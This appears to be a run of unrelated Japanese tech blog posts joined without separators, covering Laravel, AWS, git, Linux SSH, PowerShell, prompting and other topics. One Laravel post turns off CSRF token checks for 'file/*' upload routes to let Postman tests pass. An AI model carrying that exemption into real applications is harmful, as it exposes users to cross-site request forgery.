これで、すべてのテキストが枠内に収まりました。  

![スクリーンショット 2025-01-07 134056.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3842729/817a390a-7be6-4ee3-2c09-ffe7da9b8edf.png)
【Laravel11】419 PAGE EXPIREDとのたたかい（CSRFトークン）

## 問題

Postman を使ってアップロード機能を試そうと思ったが...
419 エラーが出て動かせなかった... :sob:

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3833190/4f147c1b-7e2a-b40f-0c19-ea73bb5d26f5.png)


## 解決方法

Laravel の 419 エラーは [CSRFトークン](https://readouble.com/laravel/11.x/ja/csrf.html) が原因のことが多い。
最近は自動的にトークンが埋め込まれるので、存在をすっかり忘れていた...  

`web.php` にルートを記載したため、まさにこれが原因。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3833190/61846dfe-d03f-be24-2860-66e7ae94132e.png)

フロントエンドから利用するときは特に問題にならない。
そのため、CSRFトークンを一時的に無効にすることにする。

`bootstrap/app.php` の middleware にメソッドが用意されている。
ここに、無効にするURLを書き込む。
`*` を利用しても良い。

```diff_php:bootstrap/app.php
  return Application::configure(basePath: dirname(__DIR__))
      ->withMiddleware(function (Middleware $middleware) {
            // ...
          
+           $middleware->validateCsrfTokens(except: [
+               'file/*',
+           ]);
      })
      ->withExceptions(function (Exceptions $exceptions) {
          //
      })->create();
```

解決！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3833190/f428e887-d68e-4b33-de3f-9849c0868ac1.png)


## おわりに

Lara11 になってから、Middleware が隠匿されたおかげで、設定変えようとしてもどこに書いていいか分からない...  
新規には分かりやすくなったかもだけど、隠し機能みたいになってる。

参考：

https://stackoverflow.com/questions/78279024/laravel-11-disable-csrf-for-a-route
簡単AWS　VPC（Virtual Private Cloud）

AWSの**VPC**（**Virtual Private Cloud**）は、クラウド上に自分専用の「仮想ネットワーク」を作成できるサービスです。簡単に言うと、あなただけのプライベートなネットワーク空間を構築し、その中にサーバーやデータベースを配置することができます。このネットワークは他の人から隔離されていて、安全性が高いです。外部からアクセスさせたい場合は、必要に応じて設定を行うことで接続を許可できます。

わかりやすい例え
1.VPC = あなたの家
AWS上のネットワーク環境はあなた専用の「家」のようなものです。誰でも自由に入れるわけではなく、安全かつプライベートです。

2.サブネット = 部屋
この家の中をいくつかの部屋に分けることができます。たとえば：
リビングルーム（パブリックサブネット）： 外部と接続できる空間。外部の人ともここでやりとりが可能。
寝室（プライベートサブネット）： 完全なプライベート空間で、外部の人は入ることができません。

3.インターネットゲートウェイ = 家の玄関
家の中にいる人が外部（インターネット）にアクセスするための玄関のようなもの。

4.ルートテーブル = 地図
家の中で部屋同士を行き来したり、外部に出たりするための道順を示す地図です。

5.セキュリティグループとNACL = 鍵やセキュリティシステム
各部屋へのアクセスや通信の許可を管理するための仕組みです。

VPCでできること
1.完全に自分専用のネットワーク環境を作成：
VPC内でネットワークを自由に設計し、エリア分けやアクセスルールの設定が可能。

2.機密データの保護：
重要なサーバー（例：データベース）はプライベートエリアに配置し、特定のサービスやユーザーのみアクセスを許可。

3.オンプレミス環境との接続：
VPNなどを使ってAWSのVPCと会社の社内ネットワークを接続し、拡張オフィスのように利用することができます。

具体的な利用例
1.オンラインショップの構築：
商品情報や注文データを保存するデータベースをプライベートエリアに配置し、ウェブサイトだけをパブリックエリアで外部に公開。

2.テスト環境の作成：
本番環境とは分離されたエリアをVPC内に用意し、新しいソフトウェアや機能のテストを安全に実施。

まとめ
VPCはAWSクラウド上であなた専用のネットワーク空間を構築するサービスで、社内LANのように柔軟にサーバーやデータベースを配置し、安全性やネットワーク制御を自在に行うことができます。
githubの操作

# ブランチに移動する

### リモートにある情報をローカルにフェッチする
```
git fetch --all
```
### 移動する
```
git checkout [移動したいブランチ]
```


# Mainをマージする
### リモートにプッシュする
```
git push origin [マージ先のブランチ]
```
### Mainへ移動
```
git checkout main
```
### リモートにあるmainをローカルにプルする
```
git pull origin main
```

### マージしたい方に戻る
```
git checkout [マージ先のブランチ]
```

### マージする
```
git merge main
```
仕入先マスタテーブル（LFA1、LFM1）

テーブル構成
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3795764/1477cc2a-ee0a-f551-948e-aec232e74adc.png)
 
 详细说明
 LFA1(仕入先マスタ 一般) （供应商编号） （Vendor Master Data）
 主要提供供应商相关信息。
 ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3795764/efa9884a-eb4f-f7e5-1038-bd12df88ab11.png)


LFM1(仕入先購買組織)　（供应商与采购组织相关的数据）　（Vendor master record purchasing organization data）
存储供应商与每个采购组织相关的数据。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3795764/fd83676c-08e5-eb73-a90b-e5968b1fcbbd.png)
【Linux】rocky9とTera termのsshプロトコル接続方法

# はじめに
こんにちは！アメリカで独学でソフトウェアエンジニアを目指しているものです。
現在、Linuxの復習として「ゼロからはじめるLinuxサーバー構築・運用ガイド第二版」を使用しています。
本来はさくらVPSを使用して進めていくのですが、別途VMを使用してローカル環境で進める方法もあり挑戦してみたかったのでそちらを採用しました。しかし、rocky9(Linuxディストリビューション)とTera termのsshプロトコル接続がうまく行かず、開発環境設定で苦戦したので備忘録として残しておきます。

開発環境
ホストOS: Windows 11
仮想化ソフトウェア: VirtualBox 7.1.0
ゲストOS: Rocky Linux 9
SSHクライアント: Tera Term 5.0

VirtualBoxにrocky9を入れるのは以下のリンクを参照に入れました

https://terminalcode.net/books/zerolinux/

# 書籍に書いてあった流れ

VirtualBoxにrockyをインストールして、その後SSHプロトコルによる接続をするために「Tera Term」を使用しました
この後の流れとしては
1. rocky9のIPアドレスを調べる
`$ ip addr show`で確認できます。inetの後ろに書いている192.168.x.x または 10.x.x.x 形式のものがIPアドレスです
2. ホスト名にIPアドレスを打ち込む

![スクリーンショット 2025-01-06 205926.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3883070/fb393d5b-befe-5a36-55d0-daaad2bf577e.png)

上記の画像の`myhost.example.com`のところにさっき調べたIPアドレスを入力します。

これでうまくいくはずでした

# 解決策
上記を試しましたが、Tera Term上で「ホストに接続できません」と表示されました。
Chatgptにも相談し、以下の事項を試しました。
## VirtualBoxでポートフォワーディングを設定
ホストOSからVMのSSHに接続するためにポートフォワーディングを設定します。

1. VirtualBoxの設定変更
  * VirtualBoxを開き、該当のVMを選択。
  * 設定 > ネットワーク > アダプタ1 > 割り当て で「NAT」を選択。
  * ポートフォワーディング ボタンをクリック。
  * 「ポートフォワーディング」をクリックし、以下の設定を追加。
    * 名前: SSH
    * プロトコル: TCP
    * ホストIP: （空欄のまま）
    * ホストポート: 2222（任意、例えば 2222）
    * ゲストIP: （空欄のまま）
    * ゲストポート: 22（SSHのデフォルトポート）
2. 設定を保存してVMを再起動

## Tera Term上での設定

![スクリーンショット 2025-01-06 211131.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3883070/6f016b57-90e8-ee9c-90cc-49abb3fcf78c.png)

上記の画像の通りですが、以下のように設定しました
* ホスト(T): localhost
* TCPポート#(P): 2222

これで、無事に接続できました！

# まとめ
「ゼロからはじめるLinuxサーバー構築・運用ガイド第二版」は初心者にもわかりやすい教材ですが、ローカル環境で構築する際には注意が必要です。本記事ではNATモードを利用した接続方法を紹介しましたが、ブリッジアダプタを使用することでより簡単に接続できる場合もあります。環境に応じて使い分けてみてください。
英語を習得したいエンジニアのためのAIを使った無料・格安、学習サービス

英語初心者で、特にこれから英語を学びたいと考えているエンジニアに向けて、AIを使った学習方法とその他無料または格安で利用できるおすすめのサービスを紹介します。
それぞれのサービスの特徴やメリット・デメリットを日本語でわかりやすく解説し、自分に合った学習方法を見つけるためのヒントを提供します。

<h2>はじめに</h2>

「英語ができたらなぁ…」

そう思ったことはありませんか？グローバル化が加速する現代において、エンジニアにとって英語力はますます重要になっています。英語ができれば、海外の最新技術情報にアクセスしたり、海外のエンジニアと交流したり、グローバルなプロジェクトに参加したりと、活躍の場が大きく広がります。

しかし、エンジニアの中には、「学生時代から英語が苦手だった」「仕事で忙しくて勉強する時間がない」「費用が高い」など、様々な理由で英語学習に踏み切れない人も多いのではないでしょうか？

この記事では、そんな悩みを持つエンジニアでも、気軽に英語学習を始められるように、無料または格安で利用できるサービスを厳選しました。これらのサービスを活用することで、英語学習のハードルを下げ、継続的な学習をサポートします。

<h2>AIを使った英語学習</h2>
近年、ChatGPTやGeminiなどのAIを使った英語学習が注目されています。AIを活用することで、以下のようなメリットがあります。

<h3>自分のレベルに合わせた学習ができる</h3>
AIは、あなたのレベルを分析し、最適な学習内容を提供してくれます。初心者でも、無理なく学習を進めることができます。

<h3>24時間いつでも学習できる</h3>
AIは、時間や場所を選ばずに、いつでも利用することができます。忙しいエンジニアでも、隙間時間を有効活用して学習することができます。

<h3>インタラクティブな学習ができる</h3>
AIと対話しながら学習することで、飽きずに楽しく学習することができます。また、発音練習や会話練習など、実践的な学習もできます。

<h3>費用を抑えられる</h3>
AIを使った英語学習サービスは、無料または格安で利用できるものが多くあります。費用を抑えながら、効果的に英語学習を進めることができます。

AIを使った英語学習サービスとしては、以下のようなものがあります。

<a href="https://chatgpt.com/" target="_blank">ChatGPT</a>
<a href="https://gemini.google.com/" target="_blank">Gemini</a>

これらのサービスでは、チャットボットと英語で会話したり、英文を作成したり、英語の質問に答えたりすることができます。また、発音練習や文法チェックなど、様々な機能を利用することができます。

<h2>AIを使った英語学習：具体的な利用方法・手順</h2>

続きは<a href="https://dad-union.com/free-english-learning-for-engineers" target="_blank">コチラ＞＞</a>
コード生成AIツールbolt.newを使ってみた所感

最近、コード生成AIツールの一つである**bolt.new**を試してみました。アプリのコードを生成してくれます。デフォルトではReactとTypeScriptが使われますが、PythonやJavaなどでも書いてくれるようです。

# bolt.newの便利な点

1. プロジェクト全体の生成が可能
   ChatGPTのCanvas機能に似たインターフェースを持っており、1つの会話内でアプリを生成できます。Canvasと異なるのは、bolt.newは1つのソースファイルではなく、プロジェクトのディレクトリ全体を生成してくれます。アプリケーションの構成を俯瞰できます。
   ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/490207/448e1236-4f47-c375-78e5-f7f7da03ad55.png)

2. 画面作成ができる
   bolt.newは、コードの実行結果である画面をプレビューとして見ながら生成AIと対話できるので、画面作成にとても便利です。特にReactを使用したフロントエンド開発において、UIの初期段階を高速で構築するのに役立ちました。私が試した限りでは、生成されたコードはほぼエラーなく動作しました。もしエラーがあっても、対話型で修正を依頼すれば迅速に対応してくれます。
   ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/490207/cc30c27d-c89f-5069-280d-f9db8886e53f.png)

3. 操作の簡単さ
   インターフェースはChatGPTと似ており直感的です。スクショではAIが英語で返答しているところもありますが、日本語も使えます。

# コード生成AIツールでまだ難しいと感じる点

バックエンドの実装に関しては、bolt.newでも可能ですが、細かい要件を自然言語で指示している間に、自力でコードを書いたほうが速いと感じました。ただし、プロトタイプ段階でbolt.newを利用するのはありです。

画面作成も、最初に構築するときにはよいのですが、人間がコードに手を入れ始めて以降に画面修正をしようと思うとコードの差分管理が難しくなってきます。

# コーディングにおける生成AIツールの使い分け

- アプリ全体の最初のモックアップ作成: bolt.newなどのコード生成AIツール
- まとまったソースコード作成: Dockerfileのように1ファイルで完結する内容はChatGPTなど
- コード作成: GitHub Copilotの補完
- 既存コードの修正: GitHub Copilotのインラインのチャット機能

# まとめ

bolt.newは、小規模なアプリやプロトタイプの開発において非常に役立つツールに思います。ただし、自力で書ける領域を完全に置き換えるものではなく、作業を高速化する補助的な役割を果たすものと捉えます。

車の自動運転に例えるならば、レベル2（運転主体は人間）のようなものです。AIが生成するコードを人間が把握し、理解した上で指示を細かく出し、結果に責任を持つ必要があります。まだ試している範囲ではありますが、今後さらに使いこなしていきたいと思います。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/490207/d2a64d23-8297-964f-f581-8ca345529c83.png)

# 仲間募集！

生成AIを使った開発をしたいという仲間がいたら是非こちらをご覧ください。

https://note.com/ari_hr/n/n4aed9ba75421
【ChatGPT＋DALL-E3】のアスペクト比9:16（縦長）で、縦長画像を作成する際のコツのひとつを紹介します。


　どうも、カーブミラーです。

　今回は、DALL-E3のアスペクト比9:16（縦長）で縦長画像を作成する際のコツのひとつを紹介します。

:::note info
本記事は、ChatGPT（Plus版）
＋DALL-E3で行なっております。
画像はあります。　あしからず。
:::
　ChatGPT等の動作状況を知らせる
　　OpenAIのステータスページ。
　　　[OpenAIステータス](https://status.openai.com/)
***
　まずは、ニュースです。

　昨日（2025/01/05）
　　サムのポストがありまして
　　　[サム・アルトマンポスト](https://x.com/sama/status/1876104315296968813?t=rppQKtNn2LfL8r5JrW7oOg&s=19)
>（DeepL翻訳）
>非常識なこと：我々は現在、openai proのサブスクリプションで赤字を出している！
>
>私たちが予想していたよりもずっと多くの人が使ってくれています。

　うれしい悲鳴、
　　ってところですかね😅

　マジな告白には
　　思えないので、
　　　ちとビックリって感じ。
***
　そのサムが
　　ブログを更新。

　[Reflections](https://blog.samaltman.com/reflections)

　これまでのこと、
　　これからのことを
　　　語っています。
***
　では、【本題】です。

　今回は、
　　DALL-E3の
　　　アスペクト比9:16（縦長）で
　　　　縦長画像を作成する際の
　　　　　コツのひとつを紹介します。

　縦長画像を生成しようとすると
　　なぜか、横長画像が縦長画像として
　　　生成されてしまいますよね。

　こんなふうに
![1736217111290.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3457238/30528d89-28a5-f9d3-479e-0cc4b97f3006.jpeg)

　理由は
　　わかりません。

　しかし、
　　イメージしたものとは
　　　違い過ぎて、意気消沈です。

　出来上がった画像が良くて
　　縦長から回転させて
　　　横長にするのも
　　　　手間が掛かります。

　そこで
　　なんとか縦長アスペクト比に
　　　縦長画像を生成したいと
　　　　ChatGPTに尋ねて、
　　　　　提案されたことを
　　　　　　あれこれやってみました。

　そんな中、
　　ひとつの文言で
　　　縦長に縦長画像を
　　　　生成するものがありました。

　“vertical framing”（縦組み）

　これをPromptに組み込むことで
　　縦長に縦長画像を入れられる
　　　ようになります。

![1736217137636.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3457238/de4fdc80-3a02-083e-d204-422cb2f7e334.jpeg)

　ただし、
　　完璧ではありません。
　　　横長画像になる場合も
　　　　それなりにあります。

　　また、
　　　縦長画像になっても
　　　　フレームが描画されてしまう
　　　　　ことも多々あります。

　　　このフレームは
　　　　単なる線であったり、
　　　　　額縁であったり、
　　　　　　扉の枠や
　　　　　　　門のアーチの場合も
　　　　　　　　あります。

　　何度も再生成してもダメならば
　　　新しいセッションで
　　　　行なってみてください。
　　　　　ムダな労力は、ストレスの
　　　　　　もとですからね😅

　みなさんの
　　作品制作の糧に
　　　なれば、幸いです。

　今回は、ここまで。
***
　ちなみに、私事ではございますが、
　　小説家になろう様に投稿中。

　なお、本作品に
　　生成AIは使用していません。
　　　ネーミングには使ってますね😅

　『異世界に勇者召喚されたけど、冒険者はじめました』

　[作品目次](https://ncode.syosetu.com/n9773jx/)

　元日からはじめました。
　元日に5話。
　それから毎日、
　　1話ずつアップしています。
　　　とりあえず、11話までアップ。

　楽しんでもらえたら
　　うれしいです。
AWS SAM 別のスタックからImportValueする

# 別のスタックからImportValueする

## Mappingsに環境毎のExport の Name プロパティの値を定義
ただし、ImportValueするものだけにしないと肥大化する

```
Mappings:
  # ImportValueするものだけにしないと肥大化する
  EnvironmentMap:
    s3:
      VpcId: "s3-base-VpcId"
      SubnetIds: "s3-base-PublicSubnetIds"
```

## !ImportValue !FindInMapはエラーになるので、Fn::ImportValue: !FindInMapとする

```
  BatchComputeSecurityGroup:
    Type: AWS::EC2::SecurityGroup
    Properties:
      VpcId:
        Fn::ImportValue: !FindInMap [EnvironmentMap, !Ref Stage, VpcId]
```

## その２

```
  BatchComputeEnvironment:
    Type: AWS::Batch::ComputeEnvironment
    Properties:
      ComputeResources:
        Subnets: !Split [ ",", Fn::ImportValue: !FindInMap [EnvironmentMap, !Ref Stage, SubnetIds] ]
```

## Outputsでは、FindInMap使えない
[PowerShell] Write-Hostのパフォーマンス

## 検証

PowerShellにて

1. __Write-Host__
2. __Write-Output__
3. __[Console]::WriteLine__

をそれぞれ1000回実行して時間を計測してみました。(それぞれの違いについては割愛)
率直に結果を書くと、

###
<dl>
  <dt>Write-Host 1000回</dt>
  <dd>518.9992 (ミリ秒)</dd>
  <dt>Write-Output 1000回</dt>
  <dd>182.0007 (ミリ秒)</dd>
  <dt>[Console]::WriteLine 1000回</dt>
  <dd>56.0002 (ミリ秒)</dd>
</dl>

###

もちろん`Write-Host`には書式設定機能などがあり便利ですし、通常の使用であれば気にする必要はないと思いますが、大量のファイル処理等でログを大量に出力している場合などは.Netメソッドを直接使用する(`[Console]::WriteLine`等)方法もありかも。
____
#### 検証コード

```diff_powershell:検証コード
$repeat = 1000

# Write-Hostの測定
$WriteHostStart = ([DateTime]::UtcNow)
for ($i = 0; $i -lt $repeat; $i++){
    Write-Host "Sample Text"
}
$WriteHostEnd = ([DateTime]::UtcNow)

# Write-Outputの測定
$WriteOutputStart = ([DateTime]::UtcNow)
for ($i = 0; $i -lt $repeat; $i++){
    Write-Output "Sample Text"
}
$WriteOutputEnd = ([DateTime]::UtcNow)

# [Console]::WriteLineの測定
$ConsoleWriteStart = ([DateTime]::UtcNow)
for ($i = 0; $i -lt $repeat; $i++){
    [Console]::WriteLine("Sample Text")
}
$ConsoleWriteEnd = ([DateTime]::UtcNow)

"Write-Host * $repeat            : $(($WriteHostEnd - $WriteHostStart).TotalMilliseconds)"
"Write-Output * $repeat          : $(($WriteOutputEnd - $WriteOutputStart).TotalMilliseconds)"
"[Console]::WriteLine * $repeat  : $(($ConsoleWriteEnd - $ConsoleWriteStart).TotalMilliseconds)"

```

※検証環境 : AMD Ryzen 9 5950X、DDR4-3200 64GB
【学習】Udemy：『生成AIを活用したプログラミング学習の加速術』

## はじめに
Udemyで『生成AIを活用したプログラミング学習の加速術 -AIサポートで効率的に習得するプログラミング言語-』を受講してみたので、ここに学習メモを残します。
この記事はあくまで**個人的な学習メモ**ですので、勉強する際は実際の動画講座をご覧になることをおすすめします。

https://www.udemy.com/course/ai-programming/?couponCode=NEWYEARCAREERJP

講座作成者：[我妻 幸長さん](https://www.udemy.com/user/wo-qi-xing-chang/)


### 値段
2025年の1月。セール期間中に購入しました。
定価：10，800円
セール：1，300円


## 講座受講の理由
私が本講座を購入した理由を以下に示します
- 今後必ず必要となってくるAIの活用方法をしり、実務でも活かせるようになりたい
- 生成AIで学ぶことに慣れておきたい


## 講座の目標・特徴
> 1:生成AIを活用し、プログラミングの学習効率を向上
> 2:対象者は「プログラミング学習でつまずきを感じている人」「スキルアップを目指している人」「最新AI技術を体験したい人」

動画の中でも注意点としてあげている事として2024年4月段階の生成AIになります。


## 講座全体の流れ
> 講座の内容は以下の通りです。
Section1. 生成AIの概要とプログラミング学習への活用
→ 生成AI時代における効率的なプログラミング学習について、概要を解説します。
Section2. 的確な質問と回答の評価
→ 生成AIに的確に質問し、望ましい回答を得るためのテクニックを解説します。
Section3. エラー解決・リファクタリング
→ 生成AIを活用し、コードをエラーを検出したり、冗長性を排除するためのテクニックを解説します。


## 学習メモ
### LLMについて
大規模言語モデル（LLM：Large Language Model）のこと。
chatGPTやGeminiやClaude3でLLMが使用されている。
LLMによって専門的知識がなくても「自然言語」で操作できるようになった

### 開発環境GoogleColaboratory
[Google Colaboratory](https://colab.research.google.com/)
本講座ではじめて知ったツールです
講座内でも紹介されていますが以下サイトでより詳しく知ることができます

https://aiacademy.jp/media/?p=1037


### プロンプトエンジニアリングのテクニック：ロールプレイ
> 何らかの役割を演じさせて、回答に一貫性を持たせること

何か質問する前に役割を持たせることが後に続く回答での質を向上させることにつながることを知ることができます
詳しくはセクション2でその違いを知ることができます

### 「Zero-Shot」➡例示なし
```ruby
#悪いプロンプト例➡退屈な漫才の内容をそのまま出力する
文章から温度を想像してください
退屈な漫才：

#いいプロンプト例➡「冷たい」と出力される
文章から温度を想像してください
そして、温度を表す形容詞を考えて、それのみを記述してください
退屈な漫才：
```
    
### 「Few-Shot Prompting」➡いくつか例を示すことで回答精度向上する
```ruby
#プロンプト例➡「寒い」と出力される
文章から温度を想定してください
【例】
上半身裸でバイクにのる：寒い
滝に打たれる：寒い
つまらないジョーク：寒い
こたつに入る：暖かい

退屈な漫才：
```
    
### 「Chain-of-Thought Prompting」➡複数の中間的な推論ステップ介し複雑な推論を実現
```ruby
#例として一度Q&Aを投げてやることでその後のQ&Aに適切に回答してくれる
Q:次のグループ中にある奇数を足し合わせると、奇数と偶数どちらになりますか？
12.31.3.12.24.5.32
A:グループの中の帰趨は[31.3.5]です。
　それらを足し合わせると39です。39は奇数なので答えは奇数です

Q:次のグループの帰趨を足し合わせると奇数と偶数どちらになるか？
4.15.12.1.12.3.17

#出力結果は「36。偶数」となる
```
    
### 「Zero-Shot Cot」➡「Zero-Shot」と「Chain-of-Thought Prompting」
「Chain-of-Thought Prompting」だと質問と答えの例をいちいち作るのが面倒くさい…のを解消したのが「Zero-ShotCot」
```ruby
以下の質問に回答してください。回答はステップごとに出力してください。
Q:以下のグループの奇数を足し合わせると、奇数と偶数どちらか
12.31.5.14.42.3.17
A:

#出力は「56。　偶数」となる
```

### 要件定義
「ロールプレイ」同様、「要件定義」をしっかり明示することで回答の精度がアップします。
**要件定義**そのものについては下記サイトを参考に理解を深めました

> 要件定義とは、システムやアプリなどの製品やサービスを開発する際に、どのような内容にするか、どこまで実装するかなどをまとめる工程

https://shift-ai.co.jp/blog/7716/#:~:text=%E3%82%92%E8%A1%8C%E3%81%8A%E3%81%86-,%E8%A6%81%E4%BB%B6%E5%AE%9A%E7%BE%A9%E3%81%A8%E3%81%AF,%E6%B2%BF%E3%81%A3%E3%81%A6%E9%80%B2%E3%82%81%E3%82%89%E3%82%8C%E3%81%BE%E3%81%99%E3%80%82

### 生成AIによるエラー解決
エラー解決においても生成AIは便利ですがどんなプロンプトなのかによって回答の精度が異なることがわかりました。
```ruby
以下のPythonのコードを実行すると、エラーが発生します 
(コード)

エラーメッセージは以下の通りです
(エラーメッセージ)
 
問題を解決し、エラーが発生しないコードを書いてください
```

## まとめ
本講座で改めて生成AIの理解を深めることができました。また、単純な座学だけではなく、「GoogleColaboratory」というツールを用いてAIが回答したコードの動作を確認する過程があることは非常に良かったです。
AWS Certified AI Practitionerを新規取得した話

# はじめに

・AWS Certified AI Practitioner
が去年の秋頃に正式リリースされたので取得してきました。

Practitioner（入門編）という事で舐めてかかったら、後1歩届かずということで不合格を頂いてしまいました。
落ちた後から情報集めてみたら、わりと皆さんPractitioner（入門編）だけど、「こいつはヤベぇ」と注意喚起されていて、納得というか、、、
ちゃんと注意して受験した方が良いですね。

試験のバージョンは、
+ AIF-C01
のバージョンでした。
# スコア
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/281768/7c40189d-a995-d655-14d6-7dbfb10f4aff.png)

上記のスコアは、合格時のもので初回は665点でした。

+ 短文であるがゆえに類推が効かない
+ 覚えてない所をピンポイントで突かれると勘に頼らざるを得ない部分が出てくる
+ Amazon SageMakerシリーズに関しては、かなり細かい所まで質問される

上記が、私の感想です。

# 受験対策

## 公式模擬試験

https://explore.skillbuilder.aws/learn/course/external/view/elearning/19791/exam-prep-official-practice-question-set-aws-certified-ai-practitioner-aif-c01-japanese

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/281768/b519e452-d6ed-aed9-5ffc-e89689bfc73d.png)


## 利用した問題集

https://www.whizlabs.com/
65問×２回分の問題集でした。
初回受験時は、これだけやって受験しましたが１歩届かずという結果でした。

https://techstock.jp/

１２月に入って、こちらでも問題集が配信開始されましたが、２回目を受ける際には、上記と併せて、こちらも利用しました。

https://www.udemy.com/ja/
も購入しましたが利用せず。。。（＾＾A

## 抑えておいた方が良いサービス（と一言ポイントメモ）
+ Bedrodk
+ Sage Maker
+ IAM
+ cloudtrail

AWS、AWSした問題ばかりでなく、生成AI環境を構築・教育するには？という問題が半分と、Sage Makerの細かい点と、汎用的なBedrodkの事を問われるというイメージでした。
問題文の翻訳が甘い？（分かりにくい）気がして、久々に題意が分かりにくい問題が多めな印象がありました。

# まとめ
生成AIの分野が、まだまだ世を賑わしています。
この分野は、引き続き抑えていきたいですね。

# AWSの相談・お困りごとありましたら、、、

AWSの活用方法や、お困りごとの相談、随時、お仕事の受付しております。

https://www.cs-cloud-aid.com/
Nuxt 3 / Vue 3 - 外部 jabascript ファイル ( src ) を設定する例

# 問題

template に script タグが書けない

```vue
<template>
  <html>
    <head>
      <script src="example.js"></script>
    </head>
  </html>
</template>

```

以下エラーが発生する

```
Tags with side effect (<script> and <style>) are ignored in client component templates.
```

# 対策

useHead を使えば良い

```vue
<script setup lang="ts">
useHead({
  script: [
    {
      src: 'example.js',
      tagPriority: 1,
    },
  ],
})
</script>

```


# チャットメンバー募集


何か質問、悩み事、相談などあればLINEオープンチャットもご利用ください。

https://line.me/ti/g2/eEPltQ6Tzh3pYAZV8JXKZqc7PJ6L0rpm573dcQ


# プロフィール・経歴

https://github.com/YumaInaura/YumaInaura
circuitjsの作法 その5

# 概要
circuitjsを調査してみた。
新規に、書いてみた。

# 写真

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/18104/57f8b688-ba39-b3e3-52c6-674c26b63dee.png)


# 手順

ファイル>新しい電子回路をクリック

追加>入力と電源>グランドを追加をクリック

追加>抵抗器を追加をクリック

追加>出力とラベル>電流計を追加をクリック

追加>入力と電源>直流電圧源（１端子）を追加をクリック


# オームの法則

I = V / R
V は電圧（単位：ボルト[V]）
I は電流（単位：アンペア[A]）
R は抵抗（単位：オーム[Ω]）

なので　５V　/ １ｋΩ = 5mA

以上。
windows環境で、大きなCSVファイルを分割するバッチです。

## これは何？
ほとんどニーズはなさそうですが、CSVファイルが大きすぎてあるシステムの入力許容サイズを超えてしまうことがあり、分割するバッチを作成しましたので、同じニーズもあるかもしれないので、共有します。
linuxなどではもっと簡単にできると思いますが、windows環境だと、VBAに頼るしかなさそうで、それよりこっちの方が手っ取り早いと思います。

なお、windowsでは、バッチだけでファイルを分割するのは難しいため、Powershellを併用しています。
ただし、扱いやすくしたかったので、1つのバッチファイルにPowershellコマンドとして埋め込んでます。
無理やり埋め込んだために、Powershell部分が読みにくくなっていますが、ご容赦ください。

## 動作環境
Powershellさえ動けば使えますので、「CSVファイルを小さく分割したい」という奇特な方がいればご利用ください。

## 仕様
ファイル名は、分割元のファイルと同じディレクトリに、元のファイル名に「-1」など連番をつけて保存します。
もし、同じファイル名があれば上書きします。

なおCSVファイルなので、元ファイルの1行目にヘッダがあります。
分割しても各ファイルにヘッダをつけるようにしています。まー、これとバッチファイルだけで動くようにしたという2点だけが工夫点です。
また、デフォルトは10万行で分割していますが、自由に変更ください。（テストはしてませんが、パラメータでの指定も可能なはずです。）

## 注意
最後にお約束ですが、日本語環境のwindowsバッチなので、このバッチは必ずshift-JISで保存してください。

```bat:ファイル分割.bat
@echo off
chcp 932 >nul

set "source_file=%1"
set devide=%2

if "%devide%"=="" set devide=100000

set "pn=%~dpn1"
set "sf=%~1"

if "%pn%"=="" (
  cls
  echo.
  echo  使い方「%0 ファイルパス [分割数]」
  echo.
  echo  このバッチは、大きなCSVファイルを指定した行数に分割するためのバッチです。
  echo.
  echo 第2パラメータとして「分割数」を指定しなければ10万行に分割します。
  echo なお、CSVの分割を想定しているため、1行目は全ファイルに付加します
  goto :end
)

rem echo PN=%pn%
echo sf=%sf%を%devide%ごとに分割して、同じフォルダにファイル名を「-1」など連番を付けて保存します。
echo すでに同盟のファイルがあった場合は、上書きしますのでご注意ください。
echo.

powershell -NoProfile -Command "$i = 1; $chunkSize = %devide%; $filePath = '%SF%'; $header = Get-Content -Path $filePath -Encoding Oem -TotalCount 1; $lines = Get-Content -Path $filePath -Encoding Oem | Select-Object -Skip 1; for ($j = 0; $j -lt $lines.Count; $j += $chunkSize) { $outputPath = '%pn%-' + $i + '.txt'; Set-Content -Path $outputPath -Value $header -Encoding Oem; Add-Content -Path $outputPath -Value ($lines[$j..[Math]::Min($j + $chunkSize - 1, $lines.Count - 1)]) -Encoding Oem; $i++ }"

echo お待たせしました。分割完了しました。

:end
pause
exit

```
Scratchのブロックカテゴリを自動スクロールするTips

# はじめに
プログラミング環境である[Scratch](https://scratch.mit.edu/)は今や、小中学生を中心に利用されています。このScratchでは下の図のように、左側に各ブロックの種類を選択できるボタンが配置されています。このボタンを押すと、そのブロックがある付近まで自動的にスクロールするよう、設計されています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197285/ef2966b5-6f1b-fb39-fa06-3572ffdf0c56.png)

この記事では、独自のJavaScript（ユーザースクリプト）によって、自動的にこのカテゴリを移動させる方法を紹介します。

# やり方

カテゴリを表すボタン群は、`document.getElementsByClassName("scratchCategoryMenuRow")`で取得することが出来ます。例えば「イベント」カテゴリの部分まで自動スクロールしようとする際に、真っ先に思いつくのがクリックさせる方法です。

```javascript:イベントボタンでclickさせる
document.getElementsByClassName("scratchCategoryMenuRow")[3].click();
```

ただ、この方法は上手く動作しません。開発者ツールで確認すると分かりますが、ここにクリックイベントを検出するイベントリスナーは設定されていません。1つ内側のdivには`mouseup`などが設定されていますが、そこで`mouseup`イベントを`dispatchEvent`しても上手く動作しません。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197285/dcc946b2-e0d3-c297-60bd-5cef99236af0.png)

